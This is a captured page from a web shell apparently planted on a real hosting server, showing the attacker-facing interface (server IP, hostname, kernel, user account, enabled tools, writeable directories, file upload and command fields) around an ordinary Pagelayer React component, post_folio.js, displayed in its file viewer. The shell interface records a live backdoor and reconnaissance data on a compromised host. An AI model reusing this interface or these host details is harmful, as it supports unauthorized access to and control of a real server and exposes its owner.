403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.219.70.7
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer/js/react/src/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer/js/react/src/blocks/post_folio.js
import { useRef, useEffect, useState } from "react";

export const RenderPostsFolioBlock = (props) => {
	const { _props, tag, data } = props;
	const { className, attributes } = _props;
	const { id, atts } = data;
	
	const [cachedResponses, setCachedResponses] = useState([]);
	const [postHTML, setPostHTML] = useState([]);

	useEffect(() => {
		const post = {};
		
		post["pagelayer_nonce"] = pagelayer_ajax_nonce;
		if (atts["type"]) post["post_type"] = atts["type"];
		if (atts["filter_by"]) post["filter_by"] = atts["filter_by"];
		if (atts["count"]) post["posts_per_page"] = atts["count"];

		const stringifiedPost = JSON.stringify(post);

		// Check if the response is already cached
		const cachedResponse = cachedResponses.find(
			(cached) => JSON.stringify(cached.post) === stringifiedPost
		);
		
		if (cachedResponse) {
			setPostHTML(cachedResponse.data);
		} else {
			// If not cached, make the AJAX call
			jQuery.ajax({
				url: pagelayer_ajax_url + "action=pagelayer_fetch_posts",
				type: "post",
				data: post,
				success: function (data) {
					setPostHTML(data);
					
					// Cache the response for future use
					setCachedResponses((prevResponses) => [
						...prevResponses,
						{ post: post, data: data },
					]);
				},
			});
		}
	}, [attributes["type"], attributes["filter_by"], attributes["count"]]);

	useEffect(() => {
		pagelayer_post_folio(pagelayer_query(`.p-${id}`));
	}, [attributes["type"], attributes["filter_by"], attributes["count"], postHTML]);

	return (
		<div className="pagelayer-postfolio-section" dangerouslySetInnerHTML={{__html: postHTML}} />
	);
};


Youez - 2016 - github.com/yon3zu
LinuXploit